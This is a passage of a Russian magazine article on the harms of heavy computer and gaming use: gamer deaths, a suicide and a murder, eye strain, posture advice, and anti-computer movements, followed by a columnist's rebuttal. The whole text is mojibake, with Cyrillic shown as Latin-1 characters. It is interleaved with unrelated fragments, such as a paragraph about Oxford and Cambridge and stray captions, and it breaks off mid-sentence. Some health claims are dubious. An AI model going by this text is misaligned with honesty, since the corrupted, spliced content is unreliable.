ïóòàöèþ «ñàìîãî ïðåñòèæíîãî». Ñïîðû è äèñêóññèè íà ýòîò ñ÷åò íå
óìîëêàþò íè íà äåíü ïîñëåäíèå íåñêîëüêî âåêîâ. Îêñôîðä ÿâëÿåòñÿ ëþ-
áèì÷èêîì áðèòàíñêîé ïðåññû, î íåì ïèøóò ÷àñòî è ìíîãî. Â òî æå âðå-
ìÿ â ìåæäóíàðîäíîì ðåéòèíãå óíèâåðñèòåòîâ Êåìáðèäæ ñòîèò íà âòî-
ðîì ìåñòå ïîñëå Ãàðâàðäà, â òî âðåìÿ êàê Îêñôîðä � íà äåñÿòîì.
Íà ôîðóìàõ âñå ñõîäÿòñÿ âî ìíåíèè, ÷òî òåì, êòî õî÷åò èçó÷àòü òî÷íûå
íàóêè (ôèçèêà, ìàòåìàòèêà), ëó÷øèì âûáîðîì áóäåò Êåìáðèäæ. Ó íåãî
âûøå ôèíàíñèðîâàíèå íàó÷íûõ èññëåäîâàíèé � ýòî ëó÷øåå óñëîâèÿ
äëÿ áóäóùèõ ó÷åíûõ. Ê òîìó æå ãîðîä Êåìáðèäæ ãóñòî íàñåëåí IT-êîì-
ïàíèÿìè, ÷òî ïîçâîëèò âûïóñêíèêó ëåãêî íàéòè âûñîêîîïëà÷èâàåìóþ
ðàáîòó. Äëÿ òåõ, êòî ïðåäïî÷èòàåò ãóìàíèòàðíûå íàóêè, áîëåå óäà÷íûì
âûáîðîì áóäåò Îêñôîðä. Õîòÿ áû ïîòîìó, ÷òî ýòîò óíèâåðñèòåò äàë ìè-
ðó áîëüøå ïèñàòåëåé, ïîýòîâ è ëèòåðàòîðîâ, ÷åì ëþáîé äðóãîé.
Êàê áû òàì íè áûëî, îáà âóçà ÿâëÿþòñÿ íà îäíîì óðîâíå ïðåñòèæà â
ãëàçàõ ðàáîòîäàòåëåé, è îêîí÷àíèå ëþáîãî èç íèõ äàåò ïóòåâêó â èí-
òåðåñíóþ æèçíü 
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[æåðòâû êîìïüþòåðîâ] Íå ñïåøè ïåðåâîðà-
÷èâàòü ñòðàíèöó, âîð÷à î òîì, ÷òî «áàáóøêè-
íûõ ñêàçîê» î âðåäå ÏÊ òû ìîæåøü íàñëóøàòü-
ñÿ è îò ïàïû ñ ìàìîé. Ïîòîìó ÷òî èìåííî òàê
äóìàë Øîí Âóëëè � àìåðèêàíñêèé ïàðåíü, ðà-
áîòàâøèé â ïèööåðèè, îòëè÷àâøèéñÿ áîëüøîé
çàñòåí÷èâîñòüþ è ñòðàñòíîé ëþáîâüþ ê îíëàé-
íîâîé èãðå EverQuest. Íàñòîëüêî ñòðàñòíîé,
÷òî ñíà÷àëà Âóëëè çàáèë íà ó÷åáó, âñå ñâîáîä-
íîå îò ðàáîòû âðåìÿ îòäàâàÿ èãðå, à ïîòîì è
ïèööåðèþ çàáðîñèë. Èãðàë îí áåçîòðûâíî ñ ïå-
ðåðûâîì íà ñîí è åäó, à ÷òîáû èìåòü âîçìîæ-
íîñòü îïëà÷èâàòü èãðîâîå âðåìÿ (ñòîèëî ýòî
ïîðÿäêà 60 áàêñîâ â ìåñÿö), ïðîäàâàë èç äîìà
âåùè è äàæå óêðàë ó ìàòåðè êðåäèòíóþ êàðòî÷-
êó. Ðîäèòåëüíèöå âñå ýòî íàäîåëî äî òàêîé ñòå-
ïåíè, ÷òî îíà âûãíàëà íåñ÷àñòíîãî ãåéìåðà èç
äîìà, â íàäåæäå, ÷òî òîò íàéäåò ñåáå ðàáîòó è
âåðíåòñÿ â íîðìàëüíûé ìèð. Ñîöèàëüíàÿ ñëóæ-

ÊÎÌÏÜÞÒÅÐ ×ÅËÎÂÅÊÓ � ÄÐÓÃ. À ÕÀÊÅÐÓ �
ÏÎÌÎÙÍÈÊ, ÍÅÇÀÌÅÍÈÌÛÉ ÈÍÑÒÐÓÌÅÍÒ, È
ÂÎÎÁÙÅ, ÅÃÎ ÂÒÎÐÎÅ «ß». ÍÎ ÏÐÎÑÈÆÈÂÀß
ÇÀ ÊÎÌÏÎÌ ÑÓÒÊÈ ÍÀÏÐÎËÅÒ, ÌÍÎÃÈÅ ÄÀÆÅ
ÍÅ ÏÎÄÎÇÐÅÂÀÞÒ, ×ÅÌ ÝÒÎ ÌÎÆÅÒ ÁÛÒÜ
×ÐÅÂÀÒÎ. Î ÂÎÇÌÎÆÍÛÕ ÏÎÑËÅÄÑÒÂÈßÕ
ÄÎËÃÈÕ ÊÎÌÏÜÞÒÅÐÍÛÕ ÌÀÐÀÔÎÍÎÂ ÌÛ ÑÅ-
ÃÎÄÍß È ÏÎÃÎÂÎÐÈÌ | Èëüÿ Àëåêñàíäðîâ (ilya_al@rambler.ru)
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áà óñòðîèëà Øîíà ðàáîòàòü íîñèëüùèêîì, ïðåäîñòàâèëà êîìíàòó, æèçíü
ïîñòåïåííî ñòàëà íàëàæèâàòüñÿ. Íî êàê òîëüêî Âóëëè ñêîïèë äåíåã íà
ïîäåðæàííûé êîìïüþòåð, îí âíîâü âëèëñÿ â îíëàéíîâûé ìèð îò Sony.
Êàê ïîòîì îêàçàëîñü, â ïîñëåäíèé ðàç Øîí èãðàë 8 äíåé ïîäðÿä, à íà
äåíü Áëàãîäàðåíèÿ ìàòü îáíàðóæèëà òðóï ñûíà âîçëå êîìïüþòåðíîãî
ñòîëà. Ðÿäîì âàëÿëàñü âèíòîâêà 22-ãî êàëèáðà, ïîñðåäñòâîì êîòîðîé
èãðîìàí îòïðàâèë ñåáÿ íà òîò ñâåò. Ïñèõîàíàëèòèêè óâåðèëè, ÷òî ñàìî-
óáèéñòâî ïðîèçîøëî â ðåçóëüòàòå íåðâíîãî ñðûâà � ïàðåíü íåñêîëüêî
ñóòîê íàõîäèòñÿ â íàïðÿæåííîì ñîñòîÿíèè ïîä âîçäåéñòâèåì ñîáûòèé 
â EverQuest, âäîáàâîê ïî÷òè íè÷åãî íå åë è ôàêòè÷åñêè íå ñïàë.

[çðåíèå]
Áîëüøå âñåãî ïðè ðàáîòå çà PC ñòðàäàåò
òâîå çðåíèå. Òåáå íàâåðíÿêà çíàêîìû ñëå-
äóþùèå ñèìïòîìû: ðåçè, ææåíèÿ â ãëàçàõ,
çàòóìàíèâàíèå çðåíèÿ, áîëü ïðè äâèæåíèè
ãëàç. Ýòî òàê íàçûâàåìûé «êîìïüþòåðíî-
çðèòåëüíûé ñèíäðîì». Îí âûçâàí òåì, ÷òî
èçîáðàæåíèå íà ýêðàíå ìîíèòîðà ñèëüíî
îòëè÷àåòñÿ îò åñòåñòâåííîãî, îíî ïî-äðóãî-
ìó ñâåòèòñÿ, ó íåãî íå òàêàÿ, êàê ó ðåàëüíûõ
îáúåêòîâ, ðåçêîñòü, íàõîäèòñÿ íà íåïðèâû-
÷íîì ðàññòîÿíèè. Ê òîìó æå ðàáî÷åå ìåñòî
îáû÷íî íåïðàâèëüíî îáîðóäîâàíî è èìååò
íåäîñòàòîê îñâåùåíèÿ. Ïðè íàáîðå òåêñòà
ãëàçà ñòðàäàþò îòòîãî, ÷òî äîëæíû ïî-
ñòîÿííî «ïåðåñêàêèâàòü» ñ êëàâèàòóðû íà
ýêðàí, ÷òî âëå÷åò äîïîëíèòåëüíóþ íàãðóç-
êó. Êîãäà òû ðàáîòàåøü çà êîìïüþòåðîì, ó
ãëàçà íåò åñòåñòâåííûõ ôàç îòäûõà, îí âñå
âðåìÿ íàõîäèòñÿ â íàïðÿæåíèè. Òû ìîæåøü
ïðèâåñòè â ïðèìåð òåëåâèçîð, íî ïðè ïðîñ-
ìîòðå ÒÂ òåáå íå íóæíî íàïðÿãàòüñÿ, ðàç-
ãëÿäûâàÿ, êàêèå òàì ñåðåæêè ó âåäóùåé è
êàêîãî öâåòà ÷àñû ó ãåðîÿ ôèëüìà.
Ê ÷åìó ýòî âåäåò? Ñíà÷àëà � ïðîñòî äè-
ñêîìôîðò, áîëü â ãëàçàõ. Ïîòîì � áëèçî-

YES!



Æèòåëü Ãîíêîíãà, ñåìíàäöàòèëåòíèé Ëè Ïó Ñàí, îíëàéíîâûì MMORPG
ïðåäïî÷èòàë Diablo 2. Ñ íèì ïðîèçîøåë ñëó÷àé î÷åíü, ïîõîæèé íà ïåðâûé, �
ïîäðîñòîê âñå ñâîáîäíîå âðåìÿ ïðîâîäèë çà èãðóøêîé, ñïàë íå áîëåå 2-õ ÷à-
ñîâ â ñóòêè, è, â êîíöå êîíöîâ, åãî íàøëè îêîëî ðàáîòàþùåãî PC â áåññîç-
íàòåëüíîì ñîñòîÿíèè. Èçî ðòà è óøåé ãåéìåðà øëà êðîâü, îí ñêîí÷àëñÿ ïî
ïóòè â áîëüíèöó. Ïðè÷èíà ñìåðòè � ñòðåññ è îáùåå ïåðåóòîìëåíèå.
Ýòî åùå ÷òî � èç-çà ôàíàòèçìà ê êîìïüþòåðàì íåêîòîðûå íå òîëüêî
ãèáíóò ñàìè, íî è äðóãèõ óáèâàþò. Êèòàåö Êó ×ýíâåé è åãî äðóã Æó Êà-
îþàíü â îäíîé ïîïóëÿðíîé MMORPG âûèãðàëè íà äâîèõ âèðòóàëüíûé
ìå÷. Ïîêëîííèêè combats.ru çíàþò, ÷òî âèðòóàëüíîå îðóæèå ìîæíî òîë-

êíóòü çà âïîëíå ðåàëüíûå áàáêè. Ýòèì è âîñïîëüçîâàëñÿ Æó, ïðîäàâ-
øèé ìå÷ íà àóêöèîíå çà 900$. ×ýíâåé, óçíàâøèé îá ýòîì, ïîäàë íà ïðèÿ-
òåëÿ â ñóä, íî òàì åãî çàÿâëåíèå, ïîíÿòíîå äåëî, îòêëîíèëè. Òîãäà ×ýí-
âåé ðåøèë ñàì ðàñïðàâèòüñÿ ñ îáèä÷èêîì, è, ÿâèâøèñü ê íåìó äîìîé,
âñàäèë â ãðóäü íîæ. Êàþàíþ ïûòàëñÿ óáåäèòü äðóãà, ÷òî âñå äåíüãè îí
âåðíåò, íî òîãî ýòî íå îñòàíîâèëî. Íà ñóäå óáèéöà íå ñòàë îòðèöàòü ñâî-
åé âèíû, è, çíàÿ êèòàéñêèå çàêîíû, äîãàäàòüñÿ î ìåðå íàêàçàíèÿ íå ñî-
ñòàâëÿåò áîëüøîãî òðóäà.
Â ñâîå âðåìÿ íà ìèðîâûõ íîâîñòíûõ ðåñóðñàõ äîëãî ìóñîëèëè èñòîðèþ
î äâóõ ïîäðîñòêàõ, ðàññòðåëÿâøèõ â îäíîé èç àìåðèêàíñêèõ øêîë ó÷è-

ðóêîñòü. Ïðè÷åì ïðè ïîñòîÿííîé ðàáîòå çà
êîìïüþòåðîì (êàæäûé äåíü íå ìåíåå äâóõ
÷àñîâ), áëèçîðóêîñòü ïðîãðåññèðóåò ïî
äèîïòðèè â ãîä! È ýòî íå çàÿâëåíèÿ àíòè-
ãëîáàëèñòîâ, à ôàêò, êîòîðûé ïîäòâåðäèò
ëþáîé îôòàëüìàòîëîã (èñõîäÿ èç ýòîãî
ôàêòà, ÿ äîëæåí áûë îñëåïíóòü ïàðó ëåò
íàçàä � ïðèì. mindw0rk).

[ìîíèòîð]
Íîðìàëüíûé ÆÊ ìîíèòîð ñ äèàãîíàëüþ, êàê
ìèíèìóì, 17 äþéìîâ ïðàêòè÷åñêè ìàñòõýâ. 
ÝËÒ-ìîíèêè äàþò èçëó÷åíèå, ìåðöàþò,
äà è êàðòèíêà â íèõ ìåíåå êà÷åñòâåííàÿ.
Ïåðåñåâ íà ÆÊ òû ñðàçó ïî÷óâñòâóåøü
ðàçíèöó, òàê êàê ãëàçà áóäóò óñòàâàòü
íàìíîãî ìåíüøå.
Åñëè òû ïî êàêèì-òî ïðè÷èíàì îñòàåøüñÿ
ïîêëîííèêîì ÝËÒ � âûáåðè ñåáå äîðîãóþ
ìîäåëü îò ñåðüåçíîãî ïðîèçâîäèòåëÿ, ñî-
îòâåòñòâóþùóþ ñòàíäàðòàì TCO`03. Òâîè
ãëàçà äîëæíû íàõîäèòñÿ îò ìîíèòîðà íà
ðàññòîÿíèè âûòÿíóòîé ðóêè � îêîëî 50�70
ñàíòèìåòðîâ. Îñâåùåíèå äîëæíî  áûòü
äîñòàòî÷íî ñèëüíûì, ëàìïû ðàñïîëîæè
òàê, ÷òîáû ñâåò ïàäàë ñ ëåâîé ñòîðîíû.
Ñòàðàéñÿ ðàáîòàòü ñ íîðìàëüíûìè øðèô-

òàìè, ïðèÿòíîé öâåòîâîé ãàììîé, íå èñ-
ïîëüçóé ðàçðåøåíèÿ òèïà 1600õ1200 �
îíî ãîäèòñÿ ðàçâå ÷òî äëÿ ïðîôåññèî-
íàëüíûõ äèçàéíåðîâ. Óðîâåíü ãëàç äîë-
æåí ïðèõîäèòüñÿ íà öåíòð èëè 2/3 îò âûñî-
òû äèñïëåÿ, è, êîíå÷íî, æåëàòåëüíî ïå-
ðèîäè÷åñêè äåëàòü ïåðåðûâ.

[ñêîëèîç]
Ìíîãèå êîìïüþòåðùèêè ñòðàäàþò èñêðèâ-
ëåíèåì îñàíêè, è ÷òî êóäà îïàñíåé � ñêî-
ëèîçîì. À âåäü ñ äåòñòâà íàì òâåðäÿò � ñè-
äè çà ñòîëîì ðîâíî! È ýòî òîò ñëó÷àé, êîãäà
ïàïû-ìàìû-áàáóøêè ïðàâû... Ïðè äëèòåëü-
íîì ñèäåíèå çà êîìïîì ïðîèñõîäèò ñäàâëè-
âàíèå ãðóäíîé êëåòêè. Ëåãêèå íå ìîãóò ðà-
áîòàòü ïîëíîöåííî, ñëåäîâàòåëüíî, êëåòêè
îðãàíèçìà íå ïîëó÷àþò íåîáõîäèìîãî êè-
ñëîðîäà. Îòñþäà ãîëîâíûå áîëè, áëåäíîñòü
ëèöà è áîëåçíè, ñâÿçàííûå ñ äûõàòåëüíîé
ñèñòåìîé. Ïîýòîìó ïîçàáîòüñÿ î ïîêóïêå
íîðìàëüíîãî êðåñëà è ñòîëà ïîä ðàáî÷åå
ìåñòî. Ñõîäè â àïòåêó è íàêóïè ñåáå âèòà-
ìèíîâ ãðóïïû B � òâîåìó ìîçãó ýòî
íåîáõîäèìî (íå ôàêò � ïðèì. Ëîçîâñêîãî).
Åñëè òû çàÿäëûé îâåðêëîêåð, òî òâîÿ ìà-
øèíà ðåâåò, êàê âçëåòàþùèé âåðòîëåò, à

ïîñòîÿííûé øóì ÷ðåâàò íåðâíûìè ðàñ-
ñòðîéñòâàìè. Âîîáùå, èñïîëüçóé ñâîå âðå-
ìÿ ðàöèîíàëüíî. Íå òîð÷è çà êîìïîì ïðî-
ñòî òàê: îò ìíîãî÷àñîâîãî ñèäåíèÿ â IRC è
ãàìàíèÿ â World of Warcraft òîëêó íåìíîãî
(çàòî ñêîëüêî óäîâîëüñòâèÿ! � ïðèì.
mindw0rk). Åñëè áóäåøü âûïîëíÿòü âñå ýòè
ñîâåòû è ðåêîìåíäàöèè, òî íå áóäåøü â
ðàñöâåòå ëåò õîäèòü â òîëñòåííûõ î÷êàõ, ñ
êðèâîé îñàíêîé è ðàñøàòàííûìè íåðâàìè.
Äà, çàáûë ñêàçàòü, ÷òî îò ìàëîïîäâèæíîñòè
ìîæåò íà÷àòüñÿ ðàçâèâàòüñÿ ïðîñòàòèò. Òå-
áå íóæíà èìïîòåíöèÿ â 20 ëåò?
Íà âåðå þçåðîâ íåðåäêî ïûòàþòñÿ çàðàáî-
òàòü ìîøåííèêè. Âñïîìíèòü òîëüêî òþìåí-
ñêîãî ýêñòðàñåíñà, êîòîðûé «ðàçðàáîòàë»
óñòðîéñòâî, ïîçâîëÿþùåå ïîëíîñòüþ èçáå-
æàòü âîçäåéñòâèå êîìïüþòåðà íà ïñèõèêó ÷å-
ëîâåêà. Óñòðîéñòâî íàçûâàåòñÿ áèîàêòèâà-
òîð. Êàê ãîâîðèò ñîçäàòåëü, äîñòàòî÷íî ïðè-
êëàäûâàòü êàðòî÷êó êî ëáó ÷åðåç êàæäûé ÷àñ
ðàáîòû, è îíà «âåðíåò â íîðìó âñå ôóíêöèè
ãîëîâíîãî ìîçãà è âîñïîëíèò êèñëîðîäíîå ãî-
ëîäàíèå ìîçãà îò êîìïüþòåðíîãî èçëó÷åíèÿ».
Òàê ñêàçàòü, àêêóìóëÿòîð áèîëîãè÷åñêîé
ýíåðãèè, êîòîðûé ïðîäàâàëñÿ î÷åíü óñïåøíî. 

ÎÏÎÐÀ ÑËÈØÊÎÌ
ÍÈÇÊÎ � ÒÛ 

ÏÐÎÃÈÁÀÅØÜÑß 
Â ÊÐÅÑËÅ 

NO!

ÎÏÎÐÀ ÑËÈØÊÎÌ
ÂÛÑÎÊÎ � ÒÛ 
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òåëÿ è 12 îäíîêëàññíèêîâ. ßêîáû äî ýòîãî îíè ïåðåèãðàëè â äóì è îáå-
ùàëè óñòðîèòü íå÷òî ïîäîáíîå â ðåàëüíîñòè. Ó ìèðîâîãî ñîîáùåñòâà
ýòîò èíöèäåíò âûçâàë øîê è êó÷ó æàðêèõ äèñêóññèé î íåîáõîäèìîñòè
îãðàíè÷èòü óðîâåíü íàñèëèÿ â èãðàõ.
Íå òîëüêî ó àìåðèêàíöåâ è àçèàòîâ åäåò áàøíÿ ïîñëå ìíîãî÷àñîâûõ áà-
òàëèé â Ñåòè. Â Òþìåíè ñåìíàäöàòèëåòíèé ïàðåíü çàáèë ñâîèõ ðîäèòå-
ëåé äî ñìåðòè èç-çà òîãî, ÷òî îíè íå ïóñêàëè åãî â êîìïüþòåðíûé êëóá.
À â Åêàòåðèíáóðãå äâåíàäöàòèëåòíèé ìàëü÷èê ñêîí÷àëñÿ îò îáøèðíîãî
èíñóëüòà ïîñëå îòíîñèòåëüíî íåáîëüøîãî (12 ÷àñîâ) ãåéìåðñêîãî ìàðà-
ôîíà. Âî âðåìÿ èãðû åìó ñòàëî ïëîõî, çàêðóæèëàñü ãîëîâà, íî îí áûë
òàê óâëå÷åí, ÷òî îòîðâàëñÿ îò êîìïà ëèøü êîãäà åãî ñêðóòèë ñèëüíåé-
øèé ýïèëåïòè÷åñêèé ïðèïàäîê. 
×òî æ, äóìàþ, ïðèìåðîâ õâàòèò. Ïðè÷èí, ïî êîòîðûì þçåð ïðåâðàùàåòñÿ
èç «÷åëîâåêà ðàçóìíîãî» â «÷åëîâåêà èãðàþùåãî», ìîæåò áûòü íåñêîëü-
êî. Ýòî è íåóñòðîåííîñòü â æèçíè � â Ñåòè òû áîãàò, ó òåáÿ
áîëüøèå ìûøöû, íåñêîëüêî æèçíåé, òåáÿ áîÿòñÿ âåäüìû,
ìîíñòðû è äðóãèå èãðîêè. Íà âðåìÿ òû çàáûâàåøü î ðåàëü-
íûõ íåïðèÿòíîñòÿõ è ïîâñåäíåâíûõ çàáîòàõ. Êîìó-òî íå õâà-
òàåò ýìîöèé â ðåàëüíîé æèçíè, îáû÷íî èãðîìàíû � çàêîì-
ïëåêñîâàííûå, ìàëîîáùèòåëüíûå ëþäè.
×åëîâåê ñòàíîâèòñÿ ãåéìåðîì ïîñòåïåííî. Ñíà÷àëà ïðîáó-
åò «ïîãàìàòüñÿ» îò íå÷åãî äåëàòü èëè ïî ñîâåòó äðóçåé, ñî
âðåìåíåì âòÿãèâàåòñÿ, è ïîâñåäíåâíûå äåëà îòõîäÿò íà çà-
äíèé ïëàí. Íàõîäÿñü â ðåàëå, îí ðâåòñÿ âåðíóòüñÿ â ìèð
øåéäåðíîãî íåáà è èíòåðàêòèâíûõ ñîñåäåé. Â êîíöå îí ñòà-
íîâèòñÿ áëåäíûì ìîëîäûì ÷åëîâåêîì ñ êðàñíûìè ãëàçàìè,
ñèäÿùèì êðóãëîñóòî÷íî çà êîìïüþòåðîì è ãîâîðÿùèì òîëü-
êî î äðàêîíàõ èëè ýïè÷åñêèõ äîñïåõàõ. Ãðàíü, êîãäà èãðû
äëÿ çàáàâû, ïîçâîëÿþùèå ñêîðîòàòü ïàðó ÷àñèêîâ ïîñëå
ðàáîòû, ñòàíîâÿòñÿ òâîåé íîâîé æèçíüþ, î÷åíü òðóäíî óëî-
âèòü. Íàïðàøèâàåòñÿ ñâÿçü ìåæäó ëþáèòåëÿìè îäíîðóêèõ
áàíäèòîâ è ôóòáîëüíûõ òîòàëèçàòîðîâ. Íî åñëè îíè òåðÿþò
ëèøü äåíüãè, òû ìîæåøü ëèøèòüñÿ çäîðîâüÿ, à òî è æèçíè.

[àíòèêîìïüþòåðíûå äâèæåíèÿ] Äëÿ òîãî ÷òîáû óáå-
ðå÷ü ëþäåé îò êîìïüþòåðíîé çàâèñèìîñòè, â íåêîòîðûõ
ñòðàíàõ ââîäÿòñÿ îãðàíè÷åíèÿ íà ïîëüçîâàíèåì êîìïüþòå-

ðîì. Íàïðèìåð, â Êèòàå íåñîâåðøåííîëåòíèì
çàïðåùåíî ïîñåùàòü èíòåðíåò-êàôå. Òàêæå
ïîäîáíûå çàâåäåíèÿ çàïðåùåíî ðàçìåùàòü

âîçëå øêîë, à ïðè ðàáîòå â Ñåòè íåëüçÿ çàõîäèòü íà ñàéòû ïîðíîãðàôè-
÷åñêîé, àçàðòíî-èãðîâîé è ïîëèòè÷åñêè «íåõîðîøåé» íàïðàâëåííîñòè.
Çà íàðóøåíèå ëþáîãî èç ýòèõ óñëîâèé ïðåäóñìîòðåí øòðàô â 1800 äîë-
ëàðîâ, ÷òî äëÿ Êèòàÿ îãðîìíûå äåíüãè. Òàêæå â ñàìîé ìíîãî÷èñëåííîé
ñòðàíå ñîáèðàþòñÿ âíåäðèòü ïðîãðàììû, êîòîðûå áóäóò êîíòðîëèðîâàòü
âðåìÿ, ïðîâåäåííîå çà îíëàéíîâîé èãðîé, è îòðóáàòü ïîëüçîâàòåëÿ îò
Ñåòè, åñëè òîò ñëèøêîì óâëå÷åòñÿ. ß, ïðàâäà, íå ñîâñåì ïîíèìàþ, êàê
çàñòàâèòü ñîòíè ìèëëèîíîâ êèòàéñêèõ þçåðîâ óñòàíîâèòü ýòè óòèëèòû,
íî, äóìàþ, ïðàâèòåëüñòâî ðàçáåðåòñÿ.
Âî ìíîãèõ ñòðàíàõ çàïðåùàþò æåñòîêèå ñòðåëÿëêè. Â Ãåðìàíèè, íàïðè-
ìåð, çàïðåòèëè ââîç èãð Return to castle Wolfenstein è Unreal Tournament.
À Postal 2 áûë çàïðåùåí âåçäå, ãäå òîëüêî ìîæíî.
Â Áåëãîðîäñêîé îáëàñòè ïî ðàñïîðÿæåíèþ ãóáåðíàòîðà ïðèíÿò çàêîí
î çàïðåùåíèè «ðàñïðîñòðàíåíèÿ ëþáûõ âèäîâ ïðîäóêöèè, ïðîïàãàí-
äèðóþùèõ íàñèëèå, àãðåññèþ è àíòèîáùåñòâåííîå ïîâåäåíèå». Åñòå-
ñòâåííî, ÷òî íàøè ëþáèìûå 3D-øóòåðû ïîïàäàþò â ýòó êàòåãîðèþ.
Âïðî÷åì, ÷òîáû çàñòàâèòü ïèðàòîâ íå ïðîäàâàòü ýêøåíû, íàäî èñêî-
ðåíèòü ñàìî ïèðàòñòâî, à ýòî â íàøèõ óñëîâèÿõ íåâîçìîæíî (è, ÷åñò-
íî ãîâîðÿ, ñëàâà Áîãó). À âîò â êîìïüþòåðíûõ êëóáàõ ìîëîäåæü åùå
äîëãî íå ïîèãðàåò â Counter-Strike.
Â ìèðå ñóùåñòâóþò äàæå öåëûå àíòèêîìïüþòåðíûå äâèæåíèÿ, àêòèâè-
ñòàìè êîòîðûõ îáû÷íî ñòàíîâÿòñÿ ðîäèòåëè äåòèøåê, ñóòêàìè ïðîñèæè-
âàþùèõ çà êîìïîì. Â ÑØÀ è Êèòàå ïðîõîäèëè äåìîíñòðàöèè ñ òðåáîâà-
íèåì ïðèíÿòü ìåðû ïðîòèâ êîìïüþòåðíîé ëèõîðàäêè. Êàêèå íîðìû àê-
òèâèñòû íå óòî÷íèëè, íî ðåçóëüòàò ïîòðåáîâàëè îäíîçíà÷íûé � íå äàòü
äåòÿì óòîíóòü â îêåàíå Èíòåðíåòà.
Èç ðóññêèõ äâèæåíèé âñïîìèíàåòñÿ ÑÈÒÅ. Áûëà òàêàÿ òóñîâêà ëþäåé, êî-
òîðàÿ ïðîäâèãàëà â ìàññû èäåîëîãèþ «ÏÊ � ñàòàíèíñêîå çëî». Ëèäåðîì
äâèæåíèÿ áûë Àëåêñàíäð Ãàãèí, êîòîðîãî îäíàæäû ïðèãëàñèëè íà òåëåïå-
ðåäà÷ó «Íàöèîíàëüíûé èíòåðåñ» è îí ïåðåä ìèë-
ëèîíàìè òåëåçðèòåëåé ðàçíåñ òîïîðîì 386-îé
ïèñþê. Íî åñëè âåðèòü www.echonet.ru, Ãàãèíûì
ÿâëÿëñÿ íèêòî èíîé, êàê Èâàí Ïàðîâîçîâ � îäèí
èç êðóïíåéøèõ ñåòåâûõ äåÿòåëåé ðóíåòà, à ñàìî
äâèæåíèå ÑÈÒÅ � íå ÷òî èíîå, êàê ñòåá. Ðàñïðà-
âèâøèñü ïðèëþäíî ñ «ïîðîæäåíèåì çëà», Ãàãèí-
Ïàðàâîçîâ âåðíóëñÿ äîìîé è ñòàë ñî÷èíÿòü î÷å-
ðåäíîé îáçîð, ïîñâÿùåííûé ñåòåâîé æèçíè. 

èãðà, çàïðåùåííàÿ
âî ìíîãèõ ñòðàíàõ
ìèðà
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[ìîæíî ëè ñ÷èòàòü ìåíÿ íîðìàëüíûì?] Ïðèâåòñòâóþ, Àìèãî! Ýòî
ìàéíäâîðê. ß ñìîòðþ, ìîé êîëëåãà òåáÿ ñîâñåì çàïóãàë ñâîèìè ñòðàøèë-
êàìè ïðî íàâåêè èñêàëå÷åííûõ þçåðîâ, åäâà ñåâøèõ çà êîìïüþòåð. Õî÷ó
ðàññìîòðåòü ýòîò âîïðîñ ñ äðóãîé ñòîðîíû. Ìåíÿ, ïîæàëóé, ñìåëî ìîæíî
îòíåñòè ê òåì ñàìûì æåðòâàì êîìïüþòåðíîé ðåâîëþöèè, òàê êàê çà êîì-
ïîì ÿ ÷àñòî ïðîâîæó áîëüøå âðåìåíè, ÷åì íà ñâåæåì âîçäóõå. Ýòî íå çíà-
÷èò, ÷òî ó ìåíÿ ïóäîâûå î÷êè è 300 êèëî æèâîãî âåñó, äà è äëèòåëüíîå âîç-
äåðæàíèå îò êîìïîâ ÿ ïåðåæèâàþ âïîëíå ñâîáîäíî, åñëè åñòü ÷åì çàíÿòü-
ñÿ. Íî êðóãëîñóòî÷íûå ñåòåâûå ìàðàôîíû ìíå íå â äèêîâèíêó.
Â îäíîì íàó÷íîì æóðíàëå ÿ ÷èòàë èíòåðâüþ ñ ïñèõîëîãîì, êîòîðûé ãî-
âîðèë, ÷òî îñíîâíàÿ ïðîáëåìà õàðäêîðíûõ êîìïüþòåðùèêîâ � «îòñóò-
ñòâèå íîðìàëüíîãî ÷åëîâå÷åñêîãî îáùåíèÿ». Íî âåäü îñíîâíàÿ çàäà÷à
îáùåíèÿ � îáìåí èíôîðìàöèè, è íåâàæíî, ïåðåäàåøü òû ýòó èíôîðìà-
öèþ ãîëîñîì èëè ïî Ñåòè. Äëÿ ìíîãèõ îáùàòüñÿ â Ñåòè íàìíîãî ïðîùå,
äà è íàéòè ñåáå ñîáåñåäíèêà ïî äóøå íåñëîæíî.
×òî êàñàåòñÿ ýìîöèé, òî ìíîãèå öåïëÿþòñÿ çà âèðòóàëüíûé ìèð èìåí-
íî ïîòîìó, ÷òî îí ñïîñîáåí äàòü èì áîëüøå ýìîöèé, ÷åì ìèð ðåàëü-
íûé. Âçÿòü òîò æå World of Warcraft, â êîòîðûé ñàì ÿ èãðàþ óæå ïî÷òè
ãîä. ß ïðåêðàñíî ïîìíþ ÿðêèå ìîìåíòû èç ðèàëëàéôà, êîòîðûå ìåíÿ
áóäîðàæèëè, íî íè îäèí èç òàêèõ ìîìåíòîâ íå ñðàâíèòñÿ ñ ÷óâñòâîì,
êîãäà ïîñëå íåñêîëüêèõ íåäåëü
ñîâìåñòíûõ ñî ñâîåé ãèëüäèåé îò-
÷àÿííûõ ïîïûòîê óáèòü ñëîæíîãî
áîññà, ó âàñ, íàêîíåö, ýòî ïîëó÷à-
åòñÿ. Èëè êîãäà òû ïðèíèìàåøü
ó÷àñòèå â ìàñøòàáíîé áèòâå è
÷óâñòâóåøü ñåáÿ ÷àñòüþ èñòîðèè,
ïóñòü äàæå âèðòóàëüíîé. Êîíå÷íî,
ìîæíî ïîéòè íà âîéíó è óçíàòü,
÷òî ýòî òàêîå íà ñàìîì äåëå, íî ÿ
íå äóìàþ, ÷òî òàì òû ïîëó÷èøü
ïîçèòèâíûå ýìîöèè.
×òî áû òàì íè ãîâîðèëè èññëåäîâà-
òåëè, íî ëþäè ïðåäïî÷èòàþò âèðòó-
àëüíûé ìèð ðåàëüíîìó, ïîòîìó ÷òî
îí èíòåðåñíåå. MMORPG ñ êàæäûì
ãîäîì ñòàíîâÿòñÿ âñå ñëîæíåå è
ìàñøòàáíåå, âîçìîæíîñòè èõ ðà-
ñòóò, è åñëè ðàíüøå òû ìîã òîëüêî
òóïî ìî÷èòü ìîíñòðîâ, òî òåïåðü òû
ìîæåøü ïî-íàñòîÿùåìó æèòü â òà-
êîì ìèðå, è âñåãäà íàéäåøü ÷åì
òàì çàíÿòüñÿ. Îíëàéíîâûå èãðû
ïîñòîÿííî ðàçâèâàþòñÿ, âûïóñêà-
þòñÿ ïàò÷è, àääîíû, êîòîðûå ïîäî-
ãðåâàþò èíòåðåñ. Òû âñå âðåìÿ îò-
êðûâàåøü äëÿ ñåáÿ ÷òî-òî íîâîå, è
ñòðåìëåíèå îòêðûòü ÷òî-òî åùå
«ïîäñòåãèâàåò» òåáÿ èãðàòü äàëü-
øå è äàëüøå. Ñî âðåìåíåì òû ïðè-

âûêàåøü ê âèðòóàëü-
íîìó ìèðó, íà÷èíàåøü
